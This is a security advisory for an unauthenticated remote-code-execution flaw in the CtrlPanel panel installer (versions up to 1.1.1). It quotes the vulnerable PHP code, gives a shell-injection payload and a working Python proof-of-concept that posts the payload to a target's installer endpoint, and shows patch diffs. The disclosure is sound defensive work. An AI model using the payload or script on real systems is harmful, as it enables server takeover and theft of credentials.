Skip to content

Unauthenticated RCE via Installer Accessible After Installation and Unsanitized Shell Arguments

Critical
MrWeez published GHSA-jmhr-q9q5-fqwh May 8, 2026

Package

composer CtrlPanel-gg/panel (Composer)

Affected versions

<= 1.1.1

Patched versions

1.2.0

Description

Summary

The web-based installer (public/installer/index.php) checked for the
presence of install.lock only after loading and executing form handler
files. This allowed unauthenticated attackers to interact with installer
forms on already-installed instances. Combined with unsanitized user input
passed to shell commands within the installer, this resulted in
unauthenticated Remote Code Execution (RCE).

This vulnerability is reported to be actively exploited in the wild.

Details

The installer script followed a flawed order of operations:

  1. Form and input handler files are included and become executable
  2. Shell commands are constructed using unsanitized user input
  3. Only after the above does the script check for install.lock

Because form logic was active before the lock file check, an attacker
could submit crafted input to installer endpoints on any deployed instance
regardless of installation state.

Two distinct weaknesses combined to produce RCE:

1. Premature form handler execution before lock file check

The install.lock check was placed after form includes in index.php,
meaning all POST handlers were reachable before execution was gated.

2. Unsanitized user input passed to shell commands

In src/forms/smtp.php, user-supplied values were interpolated directly
into a shell command string without escaping:

// Vulnerable
run_console("php artisan settings:set 'MailSettings' '$key' '$value'", ...);

In src/functions/shell.php, the run_console() function passed the
command and working directory path to proc_open via bash -c without
escaping:

// Vulnerable
$handle = proc_open("cd '$path' && bash -c 'exec -a ServerCPP $command'", ...);

An attacker could break out of the single-quoted $value context using
a payload such as:

asdasd'' && bash -c 'malicious_command'

This terminates the intended shell argument and appends an arbitrary
command that executes with the web server's privileges.

PoC

The following script demonstrates unauthenticated RCE against an installed
instance by spinning up a minimal fake Pterodactyl API server and submitting
a crafted installer request:

import json
import threading
import requests
from flask import Flask, Response


def send_payload(fake_pterodactyl: str, base_url: str, command: str) -> None:
    payload = {
        "checkPtero": "1",
        "url": fake_pterodactyl,
        "key": f"asdasdasda'' && bash -c '{command}'",
        "clientkey": "asdasdasdasdasd",
    }
    url = f"{base_url}/installer/index.php"
    response = requests.post(url, data=payload, verify=False, timeout=3)
    print(response.status_code)
    print(response.text)


def start_webserver(host: str, port: int) -> None:
    app = Flask(__name__)

    @app.route("/api/application/users")
    def api_application_users():
        return Response(json.dumps([]), status=200, mimetype="application/json")

    @app.route("/api/client/account")
    def api_client_account():
        return Response(json.dumps([]), status=200, mimetype="application/json")

    app.run(host=host, port=port)


def main():
    t1 = threading.Thread(target=start_webserver, args=("0.0.0.0", 80))
    t1.start()

    send_payload(
        fake_pterodactyl="http://10.0.0.100",  # must be reachable by the target
        base_url="https://ctrlpanel",          # target instance
        command="whoami > /tmp/poc",
    )


if __name__ == "__main__":
    main()

Impact

An unauthenticated remote attacker can execute arbitrary OS commands with
the privileges of the web server process on any deployed instance where
the installer directory has not been manually removed. No credentials or
prior knowledge of the target are required.

Observed and potential consequences include:

  • Full server compromise - arbitrary command execution enables reading
    environment files (.env), database credentials, and application secrets
  • Lateral movement - access to database credentials and internal network
    context from the compromised host
  • Persistence - ability to plant backdoors or modify application files
  • Active exploitation - this vulnerability has been observed being
    exploited in the wild prior to the patch being available

Remediation

Three changes were applied in the fix:

1. Move install.lock check to the top of index.php, before any
form files are included:

+if (file_exists('../../install.lock')) {
+    exit("The installation has been completed already. Please delete the File 'install.lock' to re-run");
+}
+
 if (!file_exists('../../.env')) {

2. Escape user-supplied values before shell interpolation in smtp.php:

-run_console("php artisan settings:set 'MailSettings' '$key' '$value'", ...);
+$safeValue = escapeshellarg($value);
+run_console("php artisan settings:set 'MailSettings' '$key' $safeValue", ...);

3. Escape path and command arguments in shell.php:

-$handle = proc_open("cd '$path' && bash -c 'exec -a ServerCPP $command'", ...);
+$escapedPath = escapeshellarg($path);
+$escapedCommand = escapeshellarg("exec -a ServerCPP $command");
+$handle = proc_open("cd $escapedPath && bash -c $escapedCommand", ...);

Instances that cannot apply the patch immediately should remove or
restrict access to the public/installer/ directory at the web server
level as a temporary mitigation.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-34234

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Credits